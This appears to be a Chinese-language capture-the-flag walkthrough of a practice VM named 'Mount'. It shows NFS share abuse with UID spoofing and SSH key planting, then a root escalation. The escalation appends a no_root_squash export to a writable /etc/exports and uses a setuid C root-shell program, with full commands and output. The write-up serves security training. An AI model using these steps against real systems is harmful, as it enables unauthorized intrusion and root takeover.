一、信息收集

1.1 网络扫描

首先进行局域网主机发现:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo arp-scan -l
...
192.168.205.173 08:00:27:e8:75:5e       PCS Systemtechnik GmbH
...

对目标主机进行端口扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ nmap -p0-65535 192.168.205.173
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-09 03:51 GMT
Nmap scan report for 192.168.205.173
Host is up (0.00018s latency).
Not shown: 65527 closed tcp ports (reset)
PORT      STATE SERVICE
22/tcp    open  ssh
79/tcp    open  finger
80/tcp    open  http
111/tcp   open  rpcbind
2049/tcp  open  nfs
39971/tcp open  unknown
40771/tcp open  unknown
43133/tcp open  unknown
49319/tcp open  unknown
MAC Address: 08:00:27:E8:75:5E (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

发现开放的关键服务:

1.2 Web服务枚举

访问Web服务:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ curl http://192.168.205.173/
index

使用dirsearch进行目录扫描:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ dirsearch -q -u http://192.168.205.173/
...
[03:52:07] 403 -  280B  - http://192.168.205.173/.htaccess.bak1
[03:52:07] 403 -  280B  - http://192.168.205.173/.htaccess.sample
...

Web服务返回403错误,无有效信息可利用。

二、NFS服务利用

2.1 NFS共享发现

使用showmount命令查看NFS共享:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ showmount -e 192.168.205.173
Export list for 192.168.205.173:
/home/ll104567 *

发现共享目录/home/ll104567,权限为所有主机可访问。

2.2 挂载NFS共享

创建挂载点并挂载NFS共享:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo mkdir -p /mnt/ll104567

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo mount -t nfs 192.168.205.173:/home/ll104567 /mnt/ll104567

检查挂载的目录权限:

┌──(kali㉿kali)-[/mnt]
└─$ ls -al
drwx------  2 6666 6666 4096  8月21日 03:45 ll104567

发现用户ID为6666,需要创建对应用户来访问。

2.3 权限匹配与SSH密钥植入

创建匹配UID的用户:

┌──(kali㉿kali)-[/mnt]
└─$ sudo useradd -u 6666 nfsuser

┌──(kali㉿kali)-[/mnt]
└─$ sudo su - nfsuser
$ bash
nfsuser@kali:/mnt$ cd /mnt/ll104567/

查看目录内容并植入SSH公钥:

nfsuser@kali:/mnt/ll104567$ ls -la
总计 20
drwx------ 2 nfsuser nfsuser 4096  8月21日 03:45 .
...
-rw-r--r-- 1 nfsuser nfsuser  220 2019年 4月18日 .bash_logout
-rw-r--r-- 1 nfsuser nfsuser 3526 2019年 4月18日 .bashrc
-rw-r--r-- 1 nfsuser nfsuser  807 2019年 4月18日 .profile

nfsuser@kali:/mnt/ll104567$ mkdir -p .ssh
nfsuser@kali:/mnt/ll104567$ chmod 700 .ssh
nfsuser@kali:/mnt/ll104567$ cp /mnt/hgfs/gx/x/authorized_keys .ssh/

三、获取初始访问权限

使用植入的SSH密钥登录系统:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ ssh ll104567@192.168.205.173
Linux Mount 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
...
Last login: Wed Aug 20 23:46:24 2025 from 192.168.3.94

ll104567@Mount:~$ id
uid=6666(ll104567) gid=6666(ll104567) groups=6666(ll104567)

成功获得ll104567用户的Shell访问权限。

四、权限提升

4.1 系统枚举

检查sudo权限:

ll104567@Mount:~$ sudo -l
Matching Defaults entries for ll104567 on Mount:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User ll104567 may run the following commands on Mount:
    (ALL) NOPASSWD: /sbin/reboot

用户只能执行reboot命令,无法直接提权。

检查SUID文件:

ll104567@Mount:~$ find / -perm -4000 -type f -exec ls -l {} \; 2>/dev/null
-rwsr-xr-x 1 root root 114784 Jul 16  2024 /usr/sbin/mount.nfs
...
-rwsr-xr-x 1 root root 182600 Jan 14  2023 /usr/bin/sudo
...

未发现可利用的异常SUID程序。

4.2 NFS配置文件分析

检查NFS导出配置:

ll104567@Mount:~$ cat /etc/exports
# /etc/exports: the access control list for filesystems which may be exported
...
/home/ll104567 *(rw,sync,root_squash,no_subtree_check)

发现当前配置启用了root_squash选项,这限制了root权限。关键在于该文件具有写权限:

ll104567@Mount:~$ ls -la /etc/exports
-rw-rw---- 1 root ll104567 444 Aug 21 03:45 /etc/exports

4.3 NFS配置劫持

修改NFS配置文件,添加不受root限制的/tmp共享:

ll104567@Mount:/tmp$ echo "/tmp *(rw,sync,no_root_squash,no_subtree_check)" >> /etc/exports

ll104567@Mount:/tmp$ cat /etc/exports
...
/home/ll104567 *(rw,sync,root_squash,no_subtree_check)
/tmp *(rw,sync,no_root_squash,no_subtree_check)

重启系统使配置生效:

ll104567@Mount:/tmp$ sudo /sbin/reboot

4.4 利用no_root_squash提权

系统重启后,验证新的NFS共享:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ showmount -e 192.168.205.173
Export list for 192.168.205.173:
/tmp           *
/home/ll104567 *

挂载新的/tmp共享:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo mkdir -p /mnt/tmp_mount

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo mount -t nfs 192.168.205.173:/tmp /mnt/tmp_mount

在目标系统上创建提权程序:

ll104567@Mount:/tmp$ cat > /tmp/root_shell.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
int main(void){
    setuid(0); 
    setgid(0); 
    system("/bin/bash -p");
    return 0;
}
EOF

ll104567@Mount:/tmp$ gcc /tmp/root_shell.c -o /tmp/root_shell

在Kali上设置root权限和SUID位:

┌──(kali㉿kali)-[/mnt/tmp_mount]
└─$ sudo chown root:root /mnt/tmp_mount/root_shell

┌──(kali㉿kali)-[/mnt/tmp_mount]
└─$ sudo chmod 4755 /mnt/tmp_mount/root_shell

五、获取Root权限

执行提权程序获得root shell:

ll104567@Mount:/tmp$ ls -al root_shell
-rwsr-xr-x  1 root     root     16720 Sep  9 00:12 root_shell

ll104567@Mount:/tmp$ ./root_shell 
root@Mount:/tmp# id
uid=0(root) gid=0(root) groups=0(root),6666(ll104567)

获取flag:

root@Mount:/tmp# cat /root/root.txt /home/guest/user.txt 
flag{root-a8a78d0ff555c931f045b6f448129846}
flag{user-60b725f10c9c85c70d97880dfe8191b3}

六、收尾工作

在Kali端卸载NFS挂载:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo umount -f /mnt/ll104567
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo umount -f /mnt/tmp_mount
┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo rm -rf /mnt/ll104567 /mnt/tmp_mount

删除临时创建的用户:

┌──(kali㉿kali)-[/mnt/hgfs/gx/x]
└─$ sudo userdel nfsuser